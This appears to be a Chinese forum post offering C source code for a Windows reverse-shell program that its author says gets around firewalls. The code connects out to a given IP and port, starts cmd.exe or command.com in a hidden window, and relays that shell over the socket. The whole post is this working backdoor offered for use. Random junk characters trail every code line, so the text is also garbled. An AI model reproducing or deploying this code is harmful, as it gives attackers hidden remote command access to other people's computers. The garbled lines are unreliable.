这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 VbX P7bZ
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/* ============================== 56;u7
Rebound port in Windows NT "&6vFm r
By wind,2006/7 ^/C\:hw
===============================*/ }3
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#include 'f( CN3.!
#include X1#Ar)
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#pragma comment(lib,"wsock32.lib") x^ `/&+m
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void OutputShell(); <6UXk[y
SOCKET sClient; q?!HzZ
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; uu6 JZp
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void main(int argc,char **argv) }UPC~kC+Z
{ BUXE
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WSADATA stWsaData; q T6y&
int nRet; "OLg2O^
SOCKADDR_IN stSaiClient,stSaiServer; q`xc h[H
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if(argc != 3) ^4`aONydl
{ 0qS/>u*
printf("Useage:\n\rRebound DestIP DestPort\n"); Wga2).j6
return; Qs1CK;+zU
} p:08q
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WSAStartup(MAKEWORD(2,2),&stWsaData); p/Pus;*s
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z9vMz3^N
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stSaiClient.sin_family = AF_INET; Bsa;,
stSaiClient.sin_port = htons(0); NBk0P*SI
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ~4fE`-O
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 6 byeO&d
{ bdL= ?KS
printf("Bind Socket Failed!\n"); 7yE\,
return; [*
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} S~ /2Bw!2
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stSaiServer.sin_family = AF_INET; UFj H8jSBx
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); /43l}6I
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); e]~p:
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) u+8"W[ZULq
{ $gr>Y2i
printf("Connect Error!"); i^DMnvV.
return; ,C,nNaW
} U'=8:&
OutputShell(); h$8h@2%
} 3t-STk?
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void OutputShell() _Q+c'q Zkl
{ 8H7#[?F
char szBuff[1024]; L\#YFf
SECURITY_ATTRIBUTES stSecurityAttributes; Up@^C"
OSVERSIONINFO stOsversionInfo; eha|cAq
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ?^U? ua6
STARTUPINFO stStartupInfo; Jl_W6gY"Z
char *szShell; 0/v]YK.
PROCESS_INFORMATION stProcessInformation; Z5t^D|
unsigned long lBytesRead; J%?5d:iN+
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ei-\t
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);
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stSecurityAttributes.lpSecurityDescriptor = 0; [q|W*[B:@
stSecurityAttributes.bInheritHandle = TRUE; C>|.0:[%
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); )Fx]LeI;
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); /4T6Z[=s
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); xX-r<:'tmi
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Krae^z9R
stStartupInfo.wShowWindow = SW_HIDE; C:Jfrg`
stStartupInfo.hStdInput = hReadPipe; YrnC'o`
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; V/#Ra
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GetVersionEx(&stOsversionInfo); a,w|r#x]
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switch(stOsversionInfo.dwPlatformId) ;t0q
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{ NVRzthg%c_
case 1: K 4GuOl
szShell = "command.com"; o8X_uKEI
break; ht>%O7
default: *Z#OfB4}
szShell = "cmd.exe"; m ""+$
break; uXc;!*
} i D 9 */
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); [mzed{p]]
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send(sClient,szMsg,77,0); z%
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while(1) jJIP $
{ N# }A9t
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); v,iZnANZ&P
if(lBytesRead) =!t;e~^8]
{ S]fu
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5,
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send(sClient,szBuff,lBytesRead,0); TVNgj.`+u!
} %tP*_d:
else Q0(6n8i
{ Srx:rUCv
lBytesRead=recv(sClient,szBuff,1024,0); x|m9?[
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if(lBytesRead<=0) break; igo9~.
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); t,r]22I,`
} 0h A: =r
} >Lo\?X~
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return; bL
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}